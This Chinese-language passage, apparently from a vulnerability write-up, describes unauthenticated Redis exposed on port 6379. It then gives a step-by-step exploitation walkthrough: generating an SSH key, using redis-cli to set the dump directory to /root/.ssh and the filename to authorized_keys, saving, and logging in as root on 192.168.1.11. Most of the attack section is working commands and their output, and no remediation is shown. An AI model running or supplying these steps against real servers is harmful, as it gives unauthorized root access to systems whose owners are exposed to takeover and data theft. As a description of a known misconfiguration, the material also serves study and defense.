**2. 漏洞概述**

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。

**3. 利用过程**

首先在本地生产公私钥文件：

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

(echo -e "\n\n"; cat id\_rsa.pub; echo -e "\n\n") > foo.txt

再连接Redis写入文件

cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

$ redis-cli -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /root/.ssh/

OK

$ 192.168.1.11:6379> config get dir

1) "dir"

2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized\_keys"

OK

$ 192.168.1.11:6379> save

OK

最后，利用自己的私钥登陆目标服务器；

ssh –i  id\_rsa root@192.168.1.11